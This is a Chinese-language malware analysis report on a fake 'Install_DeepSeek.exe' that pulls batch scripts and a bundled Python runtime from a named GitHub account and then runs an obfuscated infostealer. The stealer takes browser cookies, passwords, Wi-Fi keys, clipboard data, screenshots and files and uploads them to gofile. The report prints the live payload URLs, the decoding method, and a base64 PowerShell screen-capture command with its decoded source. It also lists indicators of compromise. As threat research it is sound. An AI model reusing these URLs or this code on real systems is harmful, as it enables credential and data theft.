背景

在日常样本巡逻中,我们在今天发现了一个名为Install_DeepSeek.exe的可疑样本在传播,如下图所示:

该样本打着DeepSeek的图标,无有效数字签名,pdb路径为C:\Users\Administrator\source\repos\Bind\Bind\obj\Release\Bind.pdb,这引起了我们的警觉和怀疑,如下图所示:

经过分析,我们确定,该样本会从黑客GitHub仓库中下载多层脚本和下载者,嵌套下载,最终通过下载得到一个使用Python编写的恶意脚本用于执行后门行为并窃取密码。截至本文撰写时该py脚本首次在VirusTotal多引擎扫描平台上传并扫描,静态检出率为0%,如下图所示:

同时,我们发现黑客的GitHub账户上有多个类似的仓库,均在几个月或几周前上传了恶意软件,如下图所示:

样本分析

Install_DeepSeek.exe的主要行为是下载https://github.com/nvslks/g/raw/refs/heads/g/g.zip,如下图所示:

https://github.com/nvslks/g仓库中有一个Bind.exe,经过分析后确认行为与上述Install_DeepSeek.exe基本一致,如下图所示:

我们将g.zip下载后分析,发现里面压缩了一个g.bat,如下图所示:

g.bat的行为依次是:

  1. 下载https://github.com/nvslks/g/raw/refs/heads/g/1.zip
  2. 将下载到的文件保存为%TEMP%\4g5h790g2345h7890g2345h90g2345h-890v2345hf789-3v5h.zip
  3. 使用PowerShell解压缩%TEMP%\4g5h790g2345h7890g2345h90g2345h-890v2345hf789-3v5h.zip%TEMP%
  4. 隐藏执行PowerShell,启动%TEMP%\1.bat,然后退出
    如下图所示:

1.zip之中,我们发现里面携带了一个Python环境,如下图所示:

其中,压缩包内伪装的svchost.exePython 3.11.150.1013解释器,如下图所示:

1.bat的作用是:使用压缩包内携带的Python解释器执行同目录下的python.py,如下图所示:

该恶意软件的核心组件就是该python.py,我们对其进行分析。
进入python.py后,我们发现代码可能经过了混淆或最小化处理,无法直接进行阅读,如下图所示:

样本将代码字符转换为了列表中的数字,将列表存储进xlicesvaoy变量中,执行时再通过以下代码还原出原先的代码并执行:

1
2
xlicesvaoy = ''.join([chr(int(x) - 79) for x in xlicesvaoy])  // 将列表中的数字还原为代码字符
exec(xlicesvaoy) // 通过exec()函数直接执行当前xlicesvaoy变量中的代码

我们将xlicesvaoy列表复制出来,执行decoded = ''.join(chr(int(n)-79) for n in xlicesvaoy)再将decoded输出或写入至文件就可以得到该Python脚本的可读代码,如下图所示:

代码中的常量,如下图所示(木马后续的代码逻辑可能会见到,因此先进行展示):

进入代码后,首先最令人难忘的是一堆brouwser_paths,如下图所示:

在此之后紧接着的是class Maincookie,该class下的函数会寻找浏览器和浏览器User Data位置,尝试使用命令行taskkill /f /im ProcessName的方式结束正在运行的浏览器进程;命令行参数指定User Data目录,以调试模式启动浏览器进程;提取并保存浏览器cookies,压缩为zip(获取国家和IP地址作为zip压缩包文件名)并上传发送给黑客,相关代码如下图所示:

之后一个class Variables用于初始化变量,从变量名中可以看到该后门木马会尝试获取浏览器Cookies、浏览器历史记录、浏览器文件下载记录、浏览器书签、无线局域网SSID及密码、系统信息、剪贴板内容、进程列表、一些社交软件&游戏平台账号Tokens等,如下图所示:

class SubModules下的函数主要进行一些加解密操作(例如解密密码等)、创建互斥体、判断当前状态下是否具有管理员权限等,相关代码如下图所示:

接下来是class StealSystemInformation下的函数:

  1. GetDefaultSystemEncoding(self)函数在cmd.exe中执行chcp命令获取当前系统cmd命令行输出内容的编码方式。
  2. StealSystemInformation(self)函数通过命令行执行并输出System Info(systeminfo, 系统信息)&tasklist(进程列表)&tasklist /svc(进程和服务的对应关系)&ipconfig(TCP/IP配置的设置值)&ipconfig/all(TCP/IP配置的详细信息)&Route Table(路由表)&route print(当前路由表中的所有条目)&Firewallinfo(防火墙信息)等。
  3. StealProcessInformation(self)函数通过执行tasklist /FO LIST命令获取list格式的当前进程列表。
  4. StealLastClipBoard(self)函数通过执行PowerShellGet-Clipboard命令获取当前剪贴板内容
  5. StealNetworkInformation(self)函数获取IP地址、国家、城市、时区、运营商
  6. StealWifiInformation(self)函数获取本地无线局域网信息、无线局域网SSID及密码
    相关代码如下图所示:

该木马程序的核心实现部分在class Main下,Main class下的变量和函数非常多,不再一一展示,Main class的结构大纲如下图所示:

需要特别提及的是,该木马获取屏幕截图是在Main class下的WriteToText(self)函数下,通过执行base64编码过的PowerShell命令:

1
command = "JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAAUwBjAHIAZQBlAG4AcwBoAG8AdAANAAoAewANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AIABDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAHIAZQBzAHUAbAB0AHMAIAA9ACAAbgBlAHcAIABMAGkAcwB0ADwAQgBpAHQAbQBhAHAAPgAoACkAOwANAAoAIAAgACAAIAAgACAAIAAgAHYAYQByACAAYQBsAGwAUwBjAHIAZQBlAG4AcwAgAD0AIABTAGMAcgBlAGUAbgAuAEEAbABsAFMAYwByAGUAZQBuAHMAOwANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoAFMAYwByAGUAZQBuACAAcwBjAHIAZQBlAG4AIABpAG4AIABhAGwAbABTAGMAcgBlAGUAbgBzACkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAYwB0AGEAbgBnAGwAZQAgAGIAbwB1AG4AZABzACAAPQAgAHMAYwByAGUAZQBuAC4AQgBvAHUAbgBkAHMAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEIAaQB0AG0AYQBwACAAYgBpAHQAbQBhAHAAIAA9ACAAbgBlAHcAIABCAGkAdABtAGEAcAAoAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIABiAG8AdQBuAGQAcwAuAEgAZQBpAGcAaAB0ACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAKABHAHIAYQBwAGgAaQBjAHMAIABnAHIAYQBwAGgAaQBjAHMAIAA9ACAARwByAGEAcABoAGkAYwBzAC4ARgByAG8AbQBJAG0AYQBnAGUAKABiAGkAdABtAGEAcAApACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABnAHIAYQBwAGgAaQBjAHMALgBDAG8AcAB5AEYAcgBvAG0AUwBjAHIAZQBlAG4AKABuAGUAdwAgAFAAbwBpAG4AdAAoAGIAbwB1AG4AZABzAC4ATABlAGYAdAAsACAAYgBvAHUAbgBkAHMALgBUAG8AcAApACwAIABQAG8AaQBuAHQALgBFAG0AcAB0AHkALAAgAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAcgBlAHMAdQBsAHQAcwA7AA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKACIAQAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoAJABzAGMAcgBlAGUAbgBzAGgAbwB0AHMAIAA9ACAAWwBTAGMAcgBlAGUAbgBzAGgAbwB0AF0AOgA6AEMAYQBwAHQAdQByAGUAUwBjAHIAZQBlAG4AcwAoACkADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

解码后命令为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
$source = @"

using System;

using System.Collections.Generic;

using System.Drawing;

using System.Windows.Forms;

public class Screenshot

{

public static List<Bitmap> CaptureScreens()

{

var results = new List<Bitmap>();

var allScreens = Screen.AllScreens;

foreach (Screen screen in allScreens)

{

try

{

Rectangle bounds = screen.Bounds;

using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))

{

using (Graphics graphics = Graphics.FromImage(bitmap))

{

graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);

}

results.Add((Bitmap)bitmap.Clone());

}

}

catch (Exception)

{

}

}

return results;

}

}

"@

Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms

$screenshots = [Screenshot]::CaptureScreens()

for ($i = 0; $i -lt $screenshots.Count; $i++){

$screenshot = $screenshots[$i]

$screenshot.Save("./Display ($($i+1)).png")

$screenshot.Dispose()

}

如下图所示:

class UploadGoFile下的upload_file(file_path)函数会将待上传的文件上传到https://store1.gofile.io/contents/uploadfile,然后获取到文件分享链接,之后程序再将文件分享链接上传发送给黑客,相关代码如下图所示:

class StealCommonFiles下的函数会根据文件内容、文件大小、文件拓展名等文件特征选择性窃取文件,压缩为zip并上传发送给黑客(将国家、IP地址和文件所在驱动器号作为zip压缩包文件名),相关代码、关键词、文件拓展名,如下图所示:

程序在启动时会直接执行Maincookie Main class 下的函数和StealCommonFiles().StealFiles(),如下图所示:

附录

(一)恶意行为者资产
GitHub账户:https://github.com/nvslks
相关GitHub仓库:
https://github.com/nvslks/g (本文分析样本)
https://github.com/nvslks/h
https://github.com/nvslks/f
https://github.com/nvslks/b
https://github.com/nvslks/a
https://github.com/nvslks/c
https://github.com/nvslks/e
https://github.com/nvslks/d
截至本文撰写时仍然可访问。
(二)本文分析样本Hash (SHA-256)
Install_DeepSeek.exe - c9d815df845f5e13e8ef1142cb2dec8f97a449d639be2b38bdd75beaacff70b8
Bind.exe - 9d09a10bfa2aeb89aba5e20e88fb4fc1f56392d859d0592db66221a9f00000c4
g.bat - 25696f0af2570b4ab6013ff7dcb6995dcfaff31323ad05b268a680a2411ccf0a
1.bat - 1003d1b243a01a0a518491d0af6c67e33b8d904762b5de167b39acec05ca46f4
python.py - f6d47d223401627eb4978b7582368854d271d6446b3137dac5ce99cb46efd886